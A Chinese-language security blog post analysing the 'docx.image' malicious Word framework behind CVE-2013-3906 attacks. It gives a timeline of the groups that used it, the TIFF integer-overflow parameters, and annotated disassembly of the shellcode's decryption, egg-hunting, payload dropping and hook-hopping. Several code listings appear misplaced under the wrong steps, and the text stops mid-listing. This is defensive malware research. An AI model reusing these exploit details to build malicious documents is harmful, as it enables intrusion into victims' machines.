阿碼外傳-阿碼科技非官方中文 Blog: 2013

2013年12月5日

被俄、印、中各針對性攻擊者所利用之新型 Email 針對性攻擊惡意文件架構:「docx.image」之技術面與攻擊來源分析


作者:Wayne Huang、Wilson Chiou、以及阿碼證點與 Proofpoint 美國、歐洲團隊
(英文版本同步發行於 Proofpoint 官方部落格

近期我們了解,攻擊者針對之前的 CVE-2013-3906 零時差漏洞所設計的攻擊文件,採用了多種新的技術,而至目前為止,至少被五組不同之攻擊集團所使用。我們稱這個框架為「docx.image」惡意文件框架,並認為它會成為以後惡意文件攻擊的樣版。我們利用此篇紀錄一下近期「docx.image」惡意文件架構被利用的狀況,並較深入解析此新惡意文件框架的設計原理。我們從兩個面向深入:

a)惡意文件架構設計與所使用的技術
b)採用的攻擊集團與所散播惡意軟體

這兩個面向讓我們對於此攻擊之發展,有了相當不錯的理解與觀察角度。我們先列出我們的結論,然後再提供詳細的分析資料。

[結論]
  1. 由於架構完整並內含數個較新的技術,我們認為 docx.image 架構會成為以後惡意文件攻擊的樣版
  2. 「docx.image」惡意文件框架,是利用了微軟 Word .docx 的檔案格式,其實也就是 ECMA-376 ("Ecma Office Open XML")格式,與之前傳統的 .doc 檔案格式很不一樣。

  3. 「docx.image」文件攻擊包的設計,可以很容易置換其中的惡意代碼(shellcode)與負載(payload),而不需要動到整個 .docx 文件。

  4. 第 I 類型被第一組攻擊者 「Janicab」(俄國,擅長 Windows / MacOS 雙軌齊下,利用 Youtube 來中繼交換後門指令,全球都打)與第二組攻擊者 「Arlab」(印度打巴基斯坦與克羅埃西亞,我們命名的)所使用,文件本身即內含 payload 與惡意程式。Shellcode 用 XOR 加殼,payload 為一個 dll(a.l)。shellcode 將其寫入磁碟後,呼叫 LoadLibrary 將其執行。藉此 dll(a.l) 內嵌有惡意軟體 a.exe 與假乾淨文件,一樣利用 XOR 脫殼後,取出利用。

  5. 第 II 類型被第三組攻擊者「Operation Hangover」(印度打巴基斯坦與伊朗)、第四組「Taidoor」(專打台灣,此次 email:公共工程委員會 / 103年度公共場所錄影監視規劃.docx)、與第五組「Winnti」(專打亞洲,著眼線上遊戲相關)等三組針對性攻擊團體所利用。惡意文件本身不內含 payload 與惡意程式,由 shellcode 使用 URLDownloadToFileA API 來下載惡意程式並執行之。

  6. 第 II 類型的 shellcode 採用了反沙盒(反 hooking)的 hook-hopping 技術,而 第 I 類型並未使用。

  7. 兩類型皆實做了「ActiveX heap spray」-- 利用 Word 本身的功能來完成 heap spraying,所以看不到 heap spray 的相關攻擊碼。同時,可以利用單一個圖檔,重複噴灑,而不需要於 Word 內部內嵌多個圖檔,徒增檔案大小以及特徵。

  8. 在第 I 類型之中,shellcode 利用 egg-hunting 來找到 payload,然後透過 XOR 脫殼後,寫成檔案 「a.l」並使用 LoadLibrary API 執行之。
  9. 此「docx.image」惡意文件框架,應於今年三月時,由俄國方面的攻擊者完成,後銷售給本文中之五個針對性攻擊團體使用。

  10. 兩類型的惡意 .docx 文件,都會在成功植入後門後,將原本的惡意 .docx 檔案「毀屍滅跡」,置換成一個乾淨的 .docx 檔案。
[事件回溯]
  1. 三月底:利用此漏洞的攻擊程式由俄方面研究成功(docx 中遺留下不少俄文),而其中許多檔案的建立日期為三月下旬至四月初。

  2. 7月7日:Janicab 團體首次對 Proofpoint 的客戶發動攻擊,惡意程式是 VBE 寫的,利用 Youtube 來中繼交換後門指令。雖然當時我們台灣阿碼科技做出的雲端沙盒偵測平台,幫 Proofpoint 擋下了這一波攻擊,但是當時我們並未查覺這波惡意文件的針對性攻擊是針對 CVE-2013-3906 這個零時差漏洞進行攻擊。

  3. 7月22日: Avast 發表關於 Janicab 集團的攻擊事件。Avast 當時並未意識該次攻擊乃利用了CVE-2013-3906 這個零時差漏洞。Janicab 團體是第一個被發現使用 docx.image 惡意文件架構進行攻擊的團體。

  4. 9月27日:「Arlab」集團(我們命名的)開始使用 docx.image 惡意文件攻擊 Proofpoint 的客戶。我們的雲端沙盒偵測平台於當時完封此波攻擊。當時我們並未發覺仍是利用此零時差漏洞。事後透過資料庫中的紀錄,我們發現了此「Arlab」針對性攻擊團體,並成功取得了對方的感染紀錄檔、程式、與工具。此團體以印度成員為主,對象則鎖定巴基斯坦與克羅埃西亞。當時他們利用 docx.image 散播植入 Citadel 後門。「Arlab」為第二個被發現使用 docx.image 惡意文件架構的針對性攻擊團體。

  5. 11月5日:McAfee 注意到有第三個集團使用 docx.image 惡意文件架構進行攻擊,並且也注意到,所打的是一個零時差漏洞:CVE-2013-3906。McAfee 是第一個向微軟回報此漏洞的資安廠商,但是其部落格文章中,並沒有特別指認出,或去研究該攻擊團體。

  6. 11月6日:FireEye 於部落格文章中,寫到了有關第二個團體(我們取名「Arlab」,FireEye取名 「Arx」)和第三個團體(Operation Hangover,McAfee 沒有指出這點)。同時,我們獨立的研究,顯示這一波的攻擊的受害者主要是針對巴基斯坦和克羅埃西亞兩國的目標。

  7. 11月12日:FireEye 指出,已有第四個團體使用 docx.image 惡意文件架構:專門攻擊台灣的 Taidoor 團體。這個集團主要是針對臺灣為目標。(此次 email:公共工程委員會 / 103年度公共場所錄影監視規劃.docx)。我們的研究顯示,這次攻擊對於 docx.image 架構的用法,很類似 Janicab 團體的用法。

  8. 11月14日:卡巴斯基發佈第五個集團使用此框架: Winnti 集團。此集團專打亞洲,著眼線上遊戲相關目標,以及竊取線上遊戲的程式碼。我們的研究顯示,這次 Winnti 對於 docx.image 架構的用法,很類似 Arlab 集團。

在二種類型中,第 I 類型的漏洞利用攻擊程式比較複雜,所以我們接下來,將第 I 類型作為我們分析的基礎。

[解析 docx.image 惡意文件架構,第 I 類型]

docx.image 惡意程式框架到底有什麼特殊?上述提及的五個團體又做了什麼客製化動作,以達成目的?

我們來看 Arlab 集團攻擊的方式。Arlab 客製化 docx.image 架構,做出了一個微軟的 Word .docx 文件,然後利用 email 的方式,將該文件傳送給攻擊目標。.docx 文件是一種 ECMA-376 ("Ecma Office Open XML") 文件,與之前傳統的 Word .doc 文件,在格式上有很大的不同。.docx 檔案整個是一個 .zip 檔,所以我們可以直接將附檔名改成 .zip,然後用系統的檔案總管,將一個 .docx 檔案解壓開來。

Arlab 所送出的惡意 .docx 文件,整包的架構如下圖:

被攻擊的目標收到這個 .docx 檔案,若將之點開,如果環境對,就會被植入 Citadel 後門。此外,這個 .docx 內部所附的 payload,還會在成功植入後門後,將原本的惡意 .docx 檔案「毀屍滅跡」,置換成一個乾淨的 .docx 檔案。

我們首先列出上述過程的每個步驟,然後逐步來分析:

第 1 步: 目標受害者打開 .docx 文件, 由於文件本身的設計,Word 開始在記憶體中做 heap spray。
第 2 步: .docx 文件內部有個 image2.tiff 圖形檔(內部是一張 jpg 圖),Word 開始想辦法將該圖顯示出來。
第 3 步: 由於該 image2.tiff 中的特殊設計,造成 Word 的記憶體被溢位(透過 ogl.dll)。
第 4 步: shellcode 被執行起來,並將自身脫殼。
第 5 步: shellcode 取得 18 個有用到的 kernel32 API 函式的指標。
第 6 步: shellcode 利用 egg-hunting 技巧,搜尋出位於 activeX1.bin 中的 payload。
第 7 步: shellcode 將此 payload 脫殼,並以檔名 "a.l" 寫入磁碟。
第 8 步: shellcode 呼叫 LoadLibrary,將 a.l 載入執行。

第 1 步: 目標受害者打開 .docx 文件, 由於文件本身的設計,Word 開始在記憶體中做 heap spray。

所有的攻擊碼中,看不到 heap spray 的相關攻擊碼;原因是,docx.image 的設計,是利用 Word 本身的功能來完成 heap spraying。把 .docx 解開後可以看出,在 word\activeX\_rels\目錄下,activeXn.xml.rels 檔案,都有相同的內容:
<Relationship Id="rId1" Type="http://...skip..." Target="activeX.bin"/≷
</Relationships≷
.docx 中,總共有 42個 activexn.xml.rels 這樣的檔案 -- 從 activex1.xml.rels 到 activex42.xml.rels,而且內容都完全相同。當受害者打開本 .docx 檔案時,Word 將檔案載入到記憶體、解壓縮它,並開始解析所有的.xml 和 xml.rels 檔案。上述的安排告訴 Word,要將 activex.bin 載入至記憶體中 42 次,所以 Word 照辦,於是就等於把 activex.bin 的內容於 heap 中噴灑了42次。您說這是不是相當有趣的 heap spray 方式呢?

第 2 步: .docx 文件內部有個 image2.tiff 圖形檔(內部是一張 jpg 圖),Word 開始想辦法將該圖顯示出來。

我們注意到在 word\ 目錄下(正確的名稱是「儲存,store」), 有個指向 image2.tiff 的 document.xml 檔案,裡面有俄文:"Рисунок"("圖"):
<wp:docPr id="7" name="Рисунок 6" descr="image1.tiff"/>
這是當初 docx.image 的研發人員所留下的 「殘留物」,整個 .docx 中其實找不到任何 "image1.tiff" 檔案。然而,由 word\_rels\document.xml.rels 所指到的 "media/image2.tiff" 檔案,則是存在的:
<Relationship Id="rId53" 
Type="http://schemas...skip...relationships/" 
Target="media/image2.tiff"/>
因此,此時 Word 會嘗試載入並秀出 image2.tiff。

第 3 步: 由於該 image2.tiff 中的特殊設計,造成 Word 的記憶體被溢位(透過 ogl.dll)。
為了要秀出 image2.tiff,Word 使用了以下 .dll 中的函式:
C:\Program Files (x86)\Common Files\microsoft shared\OFFICE12\OGL.DLL
該 .dll 就是本漏洞 CVE-2013-3906 的所在位置。TIFF 的檔案格式中規定,一個 TIFF 檔案的第 2 個 DWORD,描述了該檔中第一個 IFD (Image File Directory) 於檔案中的相對位置:
typedef struct _TiffHeader
{
  WORD  Identifier;  /* Byte-order Identifier */
  WORD  Version;     /* TIFF version number (always 2Ah) */
  DWORD IFDOffset;   /* Offset of the first Image File Directory*/
} TIFHEAD;
我們來看一下 docx.image 惡意文件的檔頭長得如何:

從上圖我們可以看到, 第一個 IFD 的所在位置是0x000049C8,所以我們到那裏:

從上面看出,TagCount = 0x0011 = 17;總共有17個 IFD。 每個 IFD 的開頭都是一個 Tag,用來指定該 IFD 的種類。以下我們把 image2.tiff 中的17個 IFD 的標記都列出來:
 Tag | Type | count    | val OR offset
00FE | 0004 | 00000001 | 00000000 - NewSubfileType
0100 | 0003 | 00000001 | 000002AB - ImageWidth  = 2ABh (683)
0101 | 0003 | 00000001 | 00000152 - ImageLength = 152h (338)
0102 | 0003 | 00000003 | 0000331E - BitsPerSample
0103 | 0003 | 00000001 | 00000006 - Compression = JPEG
0106 | 0003 | 00000001 | 00000002 - PhotometricInterpretation
0111 | 0004 | 00000044 | 00003434 - StripOffsets
0115 | 0003 | 00000001 | 00000003 - SamplesPerPixel
0116 | 0004 | 00000001 | 00000005 - RowsPerStrip
0117 | 0004 | 00000044 | 00003324 - StripByteCounts
011A | 0005 | 00000001 | 0000330E - XResolution
011B | 0005 | 00000001 | 00003316 - YResolution
011C | 0003 | 00000001 | 00000001 - PlanarConfiguration
0128 | 0003 | 00000001 | 00000002 - ResolutionUnit = Inch
013D | 0003 | 00000001 | 00000001 - Predictor
0202 | 0004 | 00000001 | 00001484 - JPEGInterchangeFormatLength
0201 | 0004 | 00000001 | 00003544 - JPEGInterchangeFormat

當 ogl.dll 嘗試秀出 image2.tiff 時,會發現此 TIFF 中有一張 jpg 圖,於是 ogl.dll 會開始配置所需要的記憶體,大小 = JFIF_size + strip_size [0] + [1] strip_size +......+ strip_size [n-1]。所以,這裡的重點就是 StripByteCounts (0x0117)和 JPEGInterchangeFormatLength (0x0202)這兩個 IFD。

從第 16 個IFD(JPEGInterchangeFormatLength,0x0202)我們可以看出,我們 JFIF 的大小是 0x1484。那麼剩下來要算的就是 StripSize = strip_size [0] + [1] strip_size +......+ strip_size [n-1]了。

從第 10 個的 IFD(StripByteCounts,0x0117),我們可以看出,這個 IFD 有 0x44 strips,而且在檔案中的相對位址為 0x3324。那麼我們就到 image2.tiff 中的 0x3324 位址處看一下。我們看到:
所以,我們如果把 0x44 strips 全部加總起來,可以得到 StripSize =0xFFFFB898 + 0x000000B2 + 0x000000B2 + 0x000000B3 + 0x000000B3 + 0x000000B1 + 0x000000B1 + … (0x44 DWORDs) = 0xFFFFEAEC

終於,我們可以算出,要秀出該 JPG 圖,所需要配置的記憶體大小 = JFIF_size + ((0x44)*2+8) + strip_size[0] + strip_size[1]+...+strip_size[n-1] = 0x1484 + 0x90 + 0xFFFFEAEC = 0x100000000:哈,剛好溢位了,變成 0!也就是說,ogl.dll 配置了一個大小為 0 的記憶體空間,要將位於 image2.tiff 中的 JPG 圖拷貝進去,於是當然就產生了記憶體溢位。對於上述的公式,我們直接看 ogl.dll 反組譯後的程式碼,就更清楚了:
3BDC576D push    ebp
3BDC576E mov     ebp, esp
3BDC5770 movzx   ecx, word ptr [edi+0ECh]
3BDC5777 xor     eax, eax
3BDC5779 test    ecx, ecx
3BDC577B push    esi
3BDC577C jle     short loc_3BDC5793
3BDC577E mov     edx, [edi+0A0h] ; StripByteCounts table's base
3BDC577E                         ; address (0x3324)
3BDC5784 movzx   esi, word ptr [edi+0ECh] ; 0x44 strips
3BDC578B
3BDC578B sumStripByteCounts:     ; CODE XREF: sub_3BDC576D+24j
3BDC578B add     eax, [edx]
3BDC578D add     edx, 4
3BDC5790 dec     esi
3BDC5791 jnz     short sumStripByteCounts 
3BDC5791                         ; Sum up all 0x44 strips,
3BDC5791                         ; at the end, eax = 0xFFFFEAEC
3BDC5793
3BDC5793 loc_3BDC5793:           ; CODE XREF: sub_3BDC576D+Fj
3BDC5793 mov     esi, [ebp+Size] ; esi = JPEGInterchangeFormatLength
3BDC5793                         ; (0x1484)
3BDC5796 lea     eax, [eax+ecx*2+8]
3BDC5796                         ; eax += (0x44*2+8 = 0x90)
3BDC5796                         ; so now, eax = 0xFFFFEB7C
3BDC579A add     eax, esi        ; 0xFFFFEB7C + 0x1484, overflow
3BDC579A                         ; eax = 0
3BDC579C push    eax             ; dwBytes
3BDC579D mov     [edi+160h], eax
3BDC57A3 call    RtlAllocateHeap ; allocate 0 bytes (writing anything
3BDC57A3                         ; to the buffer will cause overflow)
3BDC57A8 test    eax, eax
3BDC57AA mov     [edi+164h], eax
3BDC57B0 jnz     short loc_3BDC57BA
3BDC57B2 or      eax, 0FFFFFFFFh
3BDC57B5
3BDC57B5 loc_3BDC57B5:           ; CODE XREF: sub_3BDC576D+10Dj
3BDC57B5 pop     esi
3BDC57B6 pop     ebp
3BDC57B7 retn    8
我們繼續往下看,接下來,ogl.dll 呼叫 memcpy() 將 JFIF(JPG 圖)複製到剛才所配置好的記憶體(該記憶體大小為 0):
3BDC57BA mov     ecx, [ebp+Src]
3BDC57BD push    ebx
3BDC57BE push    dword ptr [edi+108h]
3BDC57C4 push    esi
3BDC57C5 call    sub_3BE21ADC
3BDC57CA mov     ebx, eax
3BDC57CC test    ebx, ebx
3BDC57CE jl      loc_3BDC5890
3BDC57D4 push    [ebp+Size]      ; Size =
3BDC57D4                         ; JPEGInterchangeFormatLength
3BDC57D4                         ; (0x1484)1
3BDC57D7 mov     esi, [edi+164h]
3BDC57DD push    [ebp+Src]       ; Src = The JFIF within the
3BDC57DD                         ; TIFF (JPEGInterchangeFormat)
3BDC57E0 push    esi             ; Dst = the 0-bytes buffer
3BDC57E0                         ; previously allocated
3BDC57E1 call    memcp
memcpy()會從哪裡複製到哪裡,又複製多少位元呢?它會從 IFD:JPEGInterchangeFormat(在 image2.tiff 中的第 17個 IFD)所指定的 JFIF 位址開始,拷到之前所配置的 0 位元組的記憶體內,一共會複製由 IFD:JPEGInterchangeFormatLenth (在 image2.tiff 中的第 16 個 IFD)所指定的 0x1484 個位元組。

這也就這意味著,此惡意文件會造成一次長度為 0x1484 個位元組的溢位,溢位發生的位址,是在 esi 所指的地方,所拷貝的內容,則是 JFIF,也就是 image2.tiff 中那張 JPG 圖的內容。

這張 JPG 圖的內容,將會是溢位後的重點。我們來看看,究竟這圖的內容是什麼?這張圖(JFIF)的所在位址,應該是在.docx 的 IFD:JPEGInterchangeFormat = 0x3544 這裡(見上面的 17 JFD 表)。那麼我們去 0x3544 的地方看看:
以上就是會被複製的資料了!所以從這裡開始,ogl.dll 將一共複製 0x1484 個位元組,到剛才那個配置大小為 0 的記憶體位置,並造成記憶體溢出。被這溢出所影響到的程式片段如下:
3BE2026B push    ebp
3BE2026C mov     ebp, esp
3BE2026E mov     eax, [ebp+arg_0]
3BE20271 lea     ecx, [eax+158h]
3BE20277 push    ecx
3BE20278 push    0
3BE2027A push    [ebp+arg_4]
3BE2027D push    dword ptr [eax]
3BE2027F call    dword ptr [eax+20h] ; eax+0x20 points to 08080808
3BE2027F                             ; due to the memory overflow
最後的呼叫( call) 會跳到 eax+0x20 所記錄的位址。由於該記憶體被溢位了,溢位後的內容變成了 0x08080808,所以,這個 call 也就變成會跳到 0x08080808 那裡了。那麼 0x08080808 那裡是什麼資料呢?在第 3 步中所進行完畢的 heap spray 動作,就是造成 0x08080808 附近的記憶體,會被Word 自己噴灑成 activex.bin 的內容,也就是說,shellcode 就在那裡 :)

第 4 步: shellcode 被執行起來,並將自身脫殼。
shellcode 一如往常地,是經過 XOR 加殼的。在 docx.image 中,shellcode的大小(0x27E bytes)以及脫殼的key(0xEE)是寫死不變的,然後一開始的 shellcde 以一個簡單的 XOR 迴圈來進行脫殼:
0854 nop
0855 nop
0856 nop
0857 nop
0858 and     sp, 0FFFCh
085D jmp     short loc_870
085F
085F ; =============== S U B R O U T I N E ==========
085F code_decryptor  proc near 
085F pop     ebx             ; obtain address of
085F                         ; encrypted shellcode
0860 dec     ebx
0861 xor     ecx, ecx
0863 or      cx, 27Eh        ; hard-coded code size=0x27E
0868
0868 loc_868:                ; CODE XREF: code_decryptor+Dj
0868 xor     byte ptr [ebx+ecx], 0EEh 
0868                         ; XOR all bytes with 0xEE
0868                         ; (hard-coded key: 0xEE)
086C loop    loc_868
086C code_decryptor  endp
086C
086E jmp     short loc_875
0870 ; ----------------------------------------
0870
0870 loc_870:                ; CODE XREF: 0000085Dj
0870 call    code_decryptor
0875 ; ----------------------------------------
0875 loc_875:                ; CODE XREF: 0000086Ej
0875 jmp     loc_AA6         ; this part was originally
0875                         ; encrypted code.
第 5 步: shellcode 取得 18 個有用到的 kernel32 API 函式的指標。 這個 shellcode 總共使用了 18 個 kerner32.dll 中的 API 函式,所以現在我們必須取得這些 API 在記憶體中的位址。我們先從 PEB 中搜尋出 kernel32.dll 的起始位址,然後再利用每個函式的校驗值,撈出這 18 個函式的位址:
087A lib_dropper     proc near
087A pop     edi
087B mov     eax, fs:LoadLibraryA; PEB
0881 mov     eax, [eax+0Ch]
0884 mov     esi, [eax+1Ch]
0887 lodsd
0888
0888 loc_888:
0888 mov     ebp, [eax+8]    ; / BEGIN
0888                         ; Search for kernel32.dll base
088B mov     esi, [eax+20h]
088E mov     eax, [eax]
0890 cmp     byte ptr [esi], 6Bh ; 'k'ernel
0893 jnz     short loc_888
0895 inc     esi
0896 inc     esi
0897 cmp     byte ptr [esi], 65h ; k'e'rnel
089A
089A loc_89A:
089A jnz     short loc_888
089C inc     esi
089D inc     esi
089E cmp     byte ptr [esi], 72h ; ke'r'nel
08A1 jnz     short loc_89A
08A3 inc     esi
08A4 inc     esi
08A5 cmp     byte ptr [esi], 6Eh ; ker'n'el
08A8 jnz     short loc_89A   ; \ END kernel32 search
08AA mov     esi, edi        ; ESI = ptr 00000AAB
08AC push    12h             ; a total of 18 functions are needed
08AE pop     ecx
08AF
08AF enum_proc_addresses: 
08AF call    Custom_GetProcAddress 
08AF                         ; Enumerate function
08AF                         ; addresses into addr:ESI
08B4 loop    enum_proc_addresses
這 18 個被用到的函式如下:
GetTempPathA
FreeLibraryAndExitThread
CreateFileA
CloseHandle
WriteFile
GetCurrentProcessId
CreateToolhelp32Snapshot
Thread32First
Thread32Next
SuspendThread
OpenThread
GetCurrentThreadId
LoadLibraryA
FreeLibrary
SetFilePointer
GetFileSize
VirtualAlloc
ReadFile
第 6 步: shellcode 利用 egg-hunting 技巧,搜尋出位於 activeX1.bin 中的 payload。
Shellcode 擁有了其所需要的 API 位址後,就要開始找尋 存在於 activex1.bin 中的 payload 了。找尋的方式,是逐一查看所有被目前這個執行緒(屬 Word)所開啟的檔案,然後用 egg-hunting 技巧,設法於檔案中找出 egg。此 egg(0xB19B00B5)存在於 activex1.bin 的一開頭,目的就是為了能夠標示出 activex1.bin 於記憶體中的位置,方便我們搜尋。

為了達到以上目標,shellcode 必須先於記憶體中,找到自己本身這個 .docx 檔案。所以 shellcode 執行了以下三個動作:
A. 拿到下一個有被 Word 開啟的檔案的 handle。
B. 如果該檔案大小 < 1000 h,那這個檔一定不是我們的 .docx 檔,跳回到 A。
C. 在檔案位址 0x20 處,,讀進來 4 個位元組,判斷是否等於"cProp"?如果不是,則回到 A。

"cProp" 實際上是 "docProps" 的片段。只要是 .docx 檔案,一定會有 "docProps" 這個目錄,所以第 C 動作,是判斷此檔案是否為一個 .docx 檔案。
0915
0915 loc_915:
0915 add     ebx, 4          ; / BEGIN egg-hunting for payload
0918 cmp     ebx, offset unk_100000
091E ja      loc_9A9         ; / BEGIN iterate through
091E                         ; all open file handles
0924 xor     eax, eax
0926 push    eax             ; DWORD dwMoveMethod = FILE_BEGIN
0927 push    eax             ; PLONG lpDistanceToMoveHigh = 0
0928 mov     al, 20h         ; ' '
092A push    eax             ; LONG lDistanceToMove = 0x20
092B push    ebx             ; HANDLE hFile
092C call    ds:SetFilePointer[esi] ; set to 0x20
092F cmp     eax, 0FFFFFFFFh
0932 jz      short loc_915   ; \ END
0934 xor     eax, eax
0936 push    eax             ; LPTSTR lpBuffer
0937 push    ebx             ; DWORD nBufferLength
0938 call    ds:GetFileSize[esi] ; if size < 1000h, then
093B cmp     eax, 1000h      ; it is NOT the malicious docx
0940 jl      short loc_915
0942 mov     edi, eax
0944 sub     esp, 4
0947 mov     ecx, esp
0949 sub     esp, 4
094C mov     edx, esp
094E xor     eax, eax
0950 push    eax             ; LPOVERLAPPED lpOverlapped = NULL
0951 push    ecx             ; LPDWORD lpNumberOfBytesRead
0952 push    4               ; DWORD nNumberOfBytesToRead = 0x04
0954 push    edx             ; LPVOID lpBuffer
0955 push    ebx             ; HANDLE hFile = 0 = self handle
0956 call    ds:ReadFile[esi]; at offset 0x20
0959 test    eax, eax
095B pop     eax
095C pop     ecx
095D jz      short loc_915
095F cmp     eax, 6F725063h  ; check for do"cPro"ps
0964 jnz     short loc_915
0966 sub     edi, 24h ; '$'  ; / BEGIN Allocate space for payload
0966                         ; need: docx files size - 0x24 bytes
0966                         ; (0x20 offset + 4 bytes "cProp")
0966                         ; -----------------------------------
0969 push    4               ; DWORD flProtect = PAGE_READWRITE
096B push    3000h           ; DWORD flAllocationType = 
096B                         ; MEM_COMMIT & MEM_RESERVE
0970 push    edi             ; SIZE_T dwSize
0971 push    0               ; LPVOID lpAddress = NULL
0973 call    ds:VirtualAlloc[esi]
0976 sub     esp, 4
0979 mov     ecx, esp        ; ----------------------------
0979                         ; \ END
097B push    0               ; LPOVERLAPPED lpOverlapped = NULL
097D push    ecx             ; LPDWORD lpNumberOfBytesRead
097E push    edi             ; DWORD nNumberOfBytesToRead
097E                         ; = GetTempPathA result - 0x24
097F push    eax             ; LPVOID lpBuffer = obtainded
097F                         ; via Virtual Alloc()
0980 mov     edi, eax
0982 push    ebx             ; HANDLE hFile
0983 call    ds:ReadFile[esi]
0986 test    eax, eax
0988 pop     edx
0989 jz      short loc_9A9
098B mov     eax, 0B19B00B5h ; Egg: 0xB19B00B5
0990
0990 loc_990:                ; CODE XREF: lib_dropper+11Ej
0990                         ; lib_dropper+128j
0990 inc     edi
0991 dec     edx
0992 test    edx, edx        ; edx == 0?
0994 jle     short loc_9A9   ; edx==0 but no egg found, jump
0996 cmp     [edi], eax
0998 jnz     short loc_990
099A add     edi, 4
099D sub     edx, 4
09A0 cmp     [edi], eax
09A2 jnz     short loc_990
09A4 add     edi, 4
09A7 jmp     short loc_9F3   ; Egg has been found!
09A9 ; ----------------------------------------
第 7 步: shellcode 將此 payload 脫殼,並以檔名 "a.l" 寫入磁碟。
找到 egg 後,此 egg 所在位址的前幾個位元組,就是 XOR 的 key 以及 shift 所需要使用到的參數。這兩個值,都是接下來將 payload 脫殼所需要用到的。於是接下來,shellcode 使用 XOR-shift 演算法,將緊接於 egg 後面的 payload 脫殼,並寫入磁碟為 "%temp%\a.l".
09A9 loc_9A9:
09A9 mov     bx, cs
09AC cmp     bl, 23h         ; '#'
09AF jnz     short loc_9B7
09B1 xor     edx, edx
09B3 push    edx
09B4 push    edx
09B5 push    edx
09B6 push    edx
09B7
09B7 loc_9B7:
09B7 mov     edx, offset unk_FFFFF
09BC
09BC loop_inc_page:
09BC or      dx, 0FFFh       ; add PAGE_SIZE-1 to edx
09C1
09C1 loop_inc_one:
09C1 inc     edx             ; increment pointer by one
09C2 push    edx             ; save edx
09C3 cmp     bl, 23h         ; '#'
09C6 jz      short loc_9E1
09C8 push    2               ; push NtAccessCheckAndAuditAlarm
09CA pop     eax             ; pop into eax
09CB int     2Eh             ; perform the syscall
09CD pop     edx             ; restore edx
09CE
09CE loc_9CE:                
09CE cmp     al, 5
09D0 jz      short loop_inc_page
09D0                  ; yes, invalid ptr, go to the next page
09D0 
09D2 mov     eax, 0B19B00B5h ; eax = Egg: 0xB19B00B5
09D7 mov     edi, edx ; Set edi to the pointer we validated
09D9 scasd            ; Compare the dword in edi to ea
09DA jnz     loop_inc_one 
09DA                  ; No match? Increment the pointer by one
09DC scasd            ; Compare the dword in edi to eax again
09DC                  ; (which is now edx + 4)
09DD jnz     loop_inc_one
09DD                  ; No match? Increment the pointer by one
09DF jmp     short loc_9F3 ; Egg has been found!
第 8 步: shellcode 呼叫 LoadLibrary,將 a.l 載入執行。
在這最後一個步驟中,shellcode 呼叫 LoadLibrary,載入 a.l,成功執行 payload:
09FB push    ebx             ; / BEGIN construct payload
09FB                         ;   file name
09FB                         ; LPTSTR lpBuffer
09FC push    0FCh            ; DWORD nBufferLength
09FC                         ; = 0xFC (252 bytes)
0A01 call    ds:GetTempPathA[esi] ; %temp%
0A03 mov     dword ptr [ebx+eax], 6C2E61h ; filename = "a.l"
0A0A xor     eax, eax
0A0C push    eax             ; HANDLE hTemplateFile = NULL
0A0D push    2               ; DWORD dwFlagsAndAttributes
0A0D                         ; = FILE_ATTRIBUTE_HIDDEN
0A0F push    2               ; DWORD dwCreationDisposition
0A0F                         ; = CREATE_ALWAYS
0A11 push    eax             ; LPSECURITY_ATTRIBUTES
0A11                         ; lpSecurityAttributes = NULL
0A12 push    eax             ; DWORD dwShareMode = NULL
0A13 push    40000000h       ; DWORD dwDesiredAccess
0A13                         ; = GENERIC_WRITE
0A18 push    ebx             ; LPCTSTR lpFileName
0A19 call    ds:CreateFileA[esi] ; \ END
0A1C mov     edx, eax
0A1E push    edx
0A1F push    edx
0A20 push    ebx
0A21 mov     al, [edi]       ; key for XOR decryption
0A23 inc     edi
0A24 mov     bl, [edi]       ; key shift
0A26 inc     edi
0A27 mov     ecx, [edi]
0A29 push    ecx             ; payload size
0A2A add     edi, 4          ; EDI now points to beginning
0A2D push    edi             ; of encrypted payload
0A2E
0A2E XOR_shift_decrypt:      ; CODE XREF: lib_dropper+1C0j
0A2E mov     dl, [edi]       ; / BEGIN payload decryption
0A30 xor     dl, al
0A32 mov     [edi], dl
0A34 inc     edi
0A35 add     al, bl
0A37 dec     ecx
0A38 test    ecx, ecx
0A3A jnz     short XOR_shift_decrypt ; \ END
Payload 被執行起來後,會將內嵌於自身內部的一個惡意程式(.exe)寫入磁碟並執行起來,然後利用也是內嵌於自身內部的一個乾淨的 .docx 檔案,覆蓋掉原本的惡意 .docx 檔案,毀屍滅跡。

[第 II類型 hook-hopping 技巧]
第 II 類型不同於第 I 類型的地方,在於:
  1. shellcode 使用了反沙盒(hooking)的 hook-hopping 技巧。
  2. 不內嵌 payload 與惡意程式,而是使用 URLDownloadToFileA 來下載惡意程式。
那麼最後讓我們來看看所以讓我們看看第 II類型所使用的 hook-hopping 技巧。第 II 類型 shellcode 實做了二個重要的程序:get_func 和 hook_hop。

get_func 負責從所需要的 dll 中,撈出所需要的函式。此 shellcode 主要用到了:kernel32.dll、urlmon32.dll 和 shell32.dll:
0A45 push    0               ; LPOVERLAPPED lpOverlapped = NULL
0A47 push    eax             ; LPDWORD lpNumberOfBytesWritten
0A48 push    ecx             ; DWORD nNumberOfBytesToWrite
0A49 push    edi             ; LPCVOID lpBuffer
0A4A push    edx             ; HANDLE hFile
0A4B call    ds:WriteFile[esi]
0A4E pop     eax             ; HANDLE hFile
0A4F call    ds:CloseHandle[esi]
0A52 push    ebx
0A53 call    ds:LoadLibraryA[esi]
0A56 push    eax
0A57 call    ds:FreeLibrary[esi]
0A5A xor     eax, eax
0A5C push    eax
0A5D push    eax
0A5E call    dword ptr ds:FreeLibraryAndExitThread[esi]
0A5E lib_dropper     endp
hook_hop 則負責執行 hook-hopping。它會檢查每個函式所在位址的第一個位元組(byte 0)。 如果發現該位元組是一個 CALL、JMP 或者 INT3 指令,則 hook_hop 會將第一個指令跳過。
0916 ; =============== S U B R O U T I N E =============
0916 get_func proc near
0916 push    ebx
0917 push    eax
0918 push    edi
0919 mov     ebx, esi        ; kernel32 base address
091B push    esi
091C mov     esi, [ebx+3Ch]  ; get PE signature's offset
091F mov     esi, [esi+ebx+78h] ; get Export Table's address = 262C
0923 add     esi, ebx        ; move the pointer to the Export Table
0925 push    esi
0926 mov     esi, [esi+20h]
0929 add     esi, ebx
092B xor     ecx, ecx
092D dec     ecx
092E
092E loc_92E:                ; CODE XREF: get_func+31j
092E inc     ecx
092F lodsd                   ; Obtain pointer to the function name
092F                         ; ex: "CloseHandle"
0930 add     eax, ebx
0932 push    esi
0933 xor     esi, esi
0935
0935 loc_935:                ; CODE XREF: get_func+2Cj
0935 movsx   edx, byte ptr [eax] ; / Create checksum for function's name
0938 cmp     dh, dl          ;     |
093A jz      short loc_944   ;     | Break if the hit string termination
